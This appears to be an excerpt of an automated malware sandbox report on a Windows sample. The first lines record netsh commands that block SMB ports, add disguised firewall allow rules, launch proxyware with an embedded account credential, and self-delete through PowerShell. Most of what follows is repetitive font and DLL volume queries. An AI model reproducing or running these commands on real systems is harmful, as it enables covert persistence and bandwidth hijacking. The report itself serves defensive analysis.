Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filteraction name=FilteraAtion1 action=block	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static set policy name=Block assign=y	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\ctfmoon.exe C:\Windows\Microsoft.NET\ctfmoon.exe -email=usax138@protonmail.com -password=123456Aa. -device-name=Win32 -accept-tos
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\Meson.exe C:\Windows\Microsoft.NET\Meson.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe

Source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmp

Binary or memory string: DOF_PROGMAN

Source: C:\Users\user\Desktop\38iGnQnL33.exe

Code function: 0_2_00404190 cpuid

0_2_00404190

Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\Base.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
